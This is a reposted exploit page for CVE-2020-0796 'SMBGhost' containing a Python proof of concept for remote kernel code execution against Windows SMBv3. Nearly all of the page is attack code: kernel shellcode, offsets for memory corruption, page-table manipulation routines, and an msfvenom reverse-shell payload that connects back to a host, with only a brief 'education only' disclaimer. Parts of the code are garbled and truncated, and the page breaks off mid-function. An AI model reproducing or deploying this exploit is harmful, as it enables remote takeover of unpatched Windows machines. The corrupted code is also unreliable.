Microsoft Windows – ‘SMBGhost’ Remote Code Execution – Digitalmunition




Exploit/Advisories 1590412218_spider-orange.png

Published on June 2nd, 2020 📆 | 8082 Views ⚑

0

Microsoft Windows – ‘SMBGhost’ Remote Code Execution

#!/usr/bin/env python
'''
# EDB Note ~ Download: https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/48537.zip

# SMBGhost_RCE_PoC

RCE PoC for CVE-2020-0796 "SMBGhost"

For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other than self education is an extremely bad idea. Your computer will burst in flames. Puppies will die. 

Now that that's out of the way....

Usage ex: 

``` 
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
```

Replace payload in USER_PAYLOAD in exploit.py. Max of 600 bytes. If you want more, modify the kernel shell code yourself. 

lznt1 code from [here](https://github.com/you0708/lznt1). Modified to add a "bad compression" function to corrupt SRVNET buffer
header without causing a crash.

See this excellent write up by Ricera Security for more details on the methods I used: 
https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
'''

import sys
import socket
import struct
import argparse

from lznt1 import compress, compress_evil
from smb_win import smb_negotiate, smb_compress

# Use lowstub jmp bytes to signature search
LOWSTUB_JMP = 0x1000600E9
# Offset of PML4 pointer in lowstub
PML4_LOWSTUB_OFFSET = 0xA0
# Offset of lowstub virtual address in lowstub
SELFVA_LOWSTUB_OFFSET = 0x78
# Offset of NTOSKRNL entry address in lowstub
NTENTRY_LOWSTUB_OFFSET = 0x278

# Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptController
HALP_APIC_REQ_INTERRUPT_OFFSET = 0x78

KUSER_SHARED_DATA = 0xFFFFF78000000000

# Offset of pNetRawBuffer in SRVNET_BUFFER_HDR
PNET_RAW_BUFF_OFFSET = 0x18
# Offset of pMDL1 in SRVNET_BUFFER_HDR
PMDL1_OFFSET = 0x38

# Shellcode from kernel_shellcode.asm

KERNEL_SHELLCODE = b"x41x50x41x51x41x55x41x57x41x56x51x52x53x56x57x4C"
KERNEL_SHELLCODE += b"x8Dx35xA0x02x00x00x49x8Bx86xD0x00x00x00x49x8Bx9E"
KERNEL_SHELLCODE += b"xD8x00x00x00x48x89x18xFBx49x8Bx86xE0x00x00x00x48"
KERNEL_SHELLCODE += b"x2Dx00x10x00x00x66x81x38x4Dx5Ax75xF3x49x89xC7x4D"
KERNEL_SHELLCODE += b"x89xBExE0x00x00x00xBFx78x7CxF4xDBxE8xDAx00x00x00"
KERNEL_SHELLCODE += b"x49x89xC5xBFx3Fx5Fx64x77xE8x2Ex01x00x00x48x89xC1"
KERNEL_SHELLCODE += b"xBFxE1x14x01x17xE8x21x01x00x00x48x89xC2x48x83xC2"
KERNEL_SHELLCODE += b"x08x49x8Dx74x0Dx00xE8xFFx00x00x00x3DxD8x83xE0x3E"
KERNEL_SHELLCODE += b"x74x0Ax4Dx8Bx6Cx15x00x49x29xD5xEBxE5xBFx48xB8x18"
KERNEL_SHELLCODE += b"xB8x4Cx89xE9xE8x91x00x00x00x49x89x06x4Dx8Bx4Dx30"
KERNEL_SHELLCODE += b"x4Dx8Bx45x38x49x81xE8xF8x02x00x00x48x31xF6x49x81"
KERNEL_SHELLCODE += b"xE9xF8x02x00x00x41x8Bx79x74x0FxBAxE7x04x73x05x4C"
KERNEL_SHELLCODE += b"x89xCExEBx0Cx4Dx39xC8x4Dx8Bx89xF8x02x00x00x75xDE"
KERNEL_SHELLCODE += b"x48x85xF6x74x40x49x8Dx4Ex08x48x89xF2x4Dx31xC0x4C"
KERNEL_SHELLCODE += b"x8Dx0DxB9x00x00x00x52x41x50x41x50x41x50xBFxC4x5C"
KERNEL_SHELLCODE += b"x19x6Dx48x83xECx20xE8x2Fx00x00x00x48x83xC4x40x49"
KERNEL_SHELLCODE += b"x8Dx4Ex08xBFx34x46xCCxAFx48x83xECx20xE8x19x00x00"
KERNEL_SHELLCODE += b"x00x48x83xC4x20xFAx48x89xD8x5Fx5Ex5Bx5Ax59x41x5E"
KERNEL_SHELLCODE += b"x41x5Fx41x5Dx41x59x41x58xFFxE0xE8x02x00x00x00xFF"
KERNEL_SHELLCODE += b"xE0x53x51x56x41x8Bx47x3Cx4Cx01xF8x8Bx80x88x00x00"
KERNEL_SHELLCODE += b"x00x4Cx01xF8x50x8Bx48x18x8Bx58x20x4Cx01xFBxFFxC9"
KERNEL_SHELLCODE += b"x8Bx34x8Bx4Cx01xFExE8x1Fx00x00x00x39xF8x75xEFx58"
KERNEL_SHELLCODE += b"x8Bx58x24x4Cx01xFBx66x8Bx0Cx4Bx8Bx58x1Cx4Cx01xFB"
KERNEL_SHELLCODE += b"x8Bx04x8Bx4Cx01xF8x5Ex59x5BxC3x52x31xC0x99xACxC1"
KERNEL_SHELLCODE += b"xCAx0Dx01xC2x85xC0x75xF6x92x5AxC3xE8xA1xFFxFFxFF"
KERNEL_SHELLCODE += b"x80x78x02x80x77x05x0FxB6x40x03xC3x8Bx40x03xC3x41"
KERNEL_SHELLCODE += b"x57x41x56x57x56x48x8Bx05x0Ax01x00x00x48x8Bx48x18"
KERNEL_SHELLCODE += b"x48x8Bx49x20x48x8Bx09x66x83x79x48x18x75xF6x48x8B"
KERNEL_SHELLCODE += b"x41x50x81x78x0Cx33x00x32x00x75xE9x4Cx8Bx79x20xBF"
KERNEL_SHELLCODE += b"x5Ex51x5Ex83xE8x58xFFxFFxFFx49x89xC6x4Cx8Bx3DxB3"
KERNEL_SHELLCODE += b"x01x00x00x31xC0x44x0Fx22xC0x48x8Dx15x8Ex01x00x00"
KERNEL_SHELLCODE += b"x89xC1x48xF7xD1x49x89xC0xB0x40x50xC1xE0x06x50x49"
KERNEL_SHELLCODE += b"x89x01x48x83xECx20xBFxEAx99x6Ex57xE8x1AxFFxFFxFF"
KERNEL_SHELLCODE += b"x48x83xC4x30x48x8Bx3Dx63x01x00x00x48x8Dx35x77x00"
KERNEL_SHELLCODE += b"x00x00xB9x1Dx00x00x00xF3xA4x48x8Dx35x6Ex01x00x00"
KERNEL_SHELLCODE += b"xB9x58x02x00x00xF3xA4x48x8Dx0DxD8x00x00x00x65x48"
KERNEL_SHELLCODE += b"x8Bx14x25x88x01x00x00x4Dx31xC0x4Cx8Dx0Dx46x00x00"
KERNEL_SHELLCODE += b"x00x41x50x6Ax01x48x8Bx05x22x01x00x00x50x41x50x48"
KERNEL_SHELLCODE += b"x83xECx20xBFxC4x5Cx19x6DxE8xBDxFExFFxFFx48x83xC4"
KERNEL_SHELLCODE += b"x40x48x8Dx0Dx9Ex00x00x00x4Cx89xF2x4Dx31xC9xBFx34"
KERNEL_SHELLCODE += b"x46xCCxAFx48x83xECx20xE8x9ExFExFFxFFx48x83xC4x20"
KERNEL_SHELLCODE += b"x5Ex5Fx41x5Ex41x5FxC3x90xC3x48x92x31xC9x51x51x49"
KERNEL_SHELLCODE += b"x89xC9x4Cx8Dx05x0Dx00x00x00x89xCAx48x83xECx20xFF"
KERNEL_SHELLCODE += b"xD0x48x83xC4x30xC3x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58x58"
KERNEL_SHELLCODE += b"x58x58x58x58x58x58x58x58x58x58x58x58x58x58x00x00"
KERNEL_SHELLCODE += b"x00x00x00x00x00x00"

# Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit?

USER_PAYLOAD =  b""
USER_PAYLOAD += b"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41"
USER_PAYLOAD += b"x50x52x51x56x48x31xd2x65x48x8bx52x60x48"
USER_PAYLOAD += b"x8bx52x18x48x8bx52x20x48x8bx72x50x48x0f"
USER_PAYLOAD += b"xb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7c"
USER_PAYLOAD += b"x02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52"
USER_PAYLOAD += b"x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8b"
USER_PAYLOAD += b"x80x88x00x00x00x48x85xc0x74x67x48x01xd0"
USER_PAYLOAD += b"x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56"
USER_PAYLOAD += b"x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9"
USER_PAYLOAD += b"x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0"
USER_PAYLOAD += b"x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58"
USER_PAYLOAD += b"x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44"
USER_PAYLOAD += b"x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0"
USER_PAYLOAD += b"x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
USER_PAYLOAD += b"x48x83xecx20x41x52xffxe0x58x41x59x5ax48"
USER_PAYLOAD += b"x8bx12xe9x57xffxffxffx5dx49xbex77x73x32"
USER_PAYLOAD += b"x5fx33x32x00x00x41x56x49x89xe6x48x81xec"
USER_PAYLOAD += b"xa0x01x00x00x49x89xe5x49xbcx02x00x7ax69"
USER_PAYLOAD += b"xc0xa8x8ex01x41x54x49x89xe4x4cx89xf1x41"
USER_PAYLOAD += b"xbax4cx77x26x07xffxd5x4cx89xeax68x01x01"
USER_PAYLOAD += b"x00x00x59x41xbax29x80x6bx00xffxd5x50x50"
USER_PAYLOAD += b"x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2x48"
USER_PAYLOAD += b"xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5"
USER_PAYLOAD += b"x48x89xc7x6ax10x41x58x4cx89xe2x48x89xf9"
USER_PAYLOAD += b"x41xbax99xa5x74x61xffxd5x48x81xc4x40x02"
USER_PAYLOAD += b"x00x00x49xb8x63x6dx64x00x00x00x00x00x41"
USER_PAYLOAD += b"x50x41x50x48x89xe2x57x57x57x4dx31xc0x6a"
USER_PAYLOAD += b"x0dx59x41x50xe2xfcx66xc7x44x24x54x01x01"
USER_PAYLOAD += b"x48x8dx44x24x18xc6x00x68x48x89xe6x56x50"
USER_PAYLOAD += b"x41x50x41x50x41x50x49xffxc0x41x50x49xff"
USER_PAYLOAD += b"xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86"
USER_PAYLOAD += b"xffxd5x48x31xd2x48xffxcax8bx0ex41xbax08"
USER_PAYLOAD += b"x87x1dx60xffxd5xbbxf0xb5xa2x56x41xbaxa6"
USER_PAYLOAD += b"x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0a"
USER_PAYLOAD += b"x80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59"
USER_PAYLOAD += b"x41x89xdaxffxd5"


PML4_SELFREF = 0
PHAL_HEAP = 0
PHALP_INTERRUPT = 0
PHALP_APIC_INTERRUPT = 0
PNT_ENTRY = 0

max_read_retry = 3
overflow_val = 0x1100
write_unit = 0xd0
pmdl_va = KUSER_SHARED_DATA + 0x900
pmdl_mapva = KUSER_SHARED_DATA + 0x800
pshellcodeva = KUSER_SHARED_DATA + 0xa00


class MDL:
    def __init__(self, map_va, phys_addr):
        self.next = struct.pack("> 12
        self.phys_addr1 = struct.pack("> (40 - 1)))
    pdpt_index = (((1 < < 9) - 1) & (va_addr >> (31 - 1)))
    pdt_index = (((1 < < 9) - 1) & (va_addr >> (22 - 1)))
    pt_index = (((1 < < 9) - 1) & (va_addr >> (13 - 1)))

    pml4e = PML4 + pml4_index*0x8
    pdpt_buff = read_physmem_primitive(ip, port, pml4e)

    if pdpt_buff is None:
        sys.exit("[-] physical read primitive failed")

    pdpt = struct.unpack("> 9
    lb = (0xFFFF < < 48) | (PML4_SELFREF << 39)
    ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) +
          0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8
    pt = pt | lb
    pt = pt & ub

    return pt


def overwrite_pte(ip, port, addr):
    phys_addr = get_phys_addr(ip, port, addr)

    buff = read_physmem_primitive(ip, port, phys_addr)

    if buff is None:
        sys.exit("[-] read primitive failed!")

    pte_val = struct.unpack(" 3:
                PHALP_INTERRUPT = index + i - 0x40
                print("[+] found HalpInterruptController at %lx"
                      % PHALP_INTERRUPT)

                if len(buff) < i + 0x40:
                    buff = read_physmem_primitive(ip, port, index + i + 0x38)
                    PHALP_APIC_INTERRUPT = struct.unpack("> 3

    print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF)


def find_low_stub(ip, port):
    global PML4
    global PHAL_HEAP
    global PNT_ENTRY

    limit = 0x100000
    index = 0x1000

    while index < limit:
        buff = read_physmem_primitive(ip, port, index)

        if buff is None:
            sys.exit("[-] physical read primitive failed!")

        entry = struct.unpack("

Source link

Tagged with:



Leave a Reply

Your email address will not be published. Required fields are marked *


loading...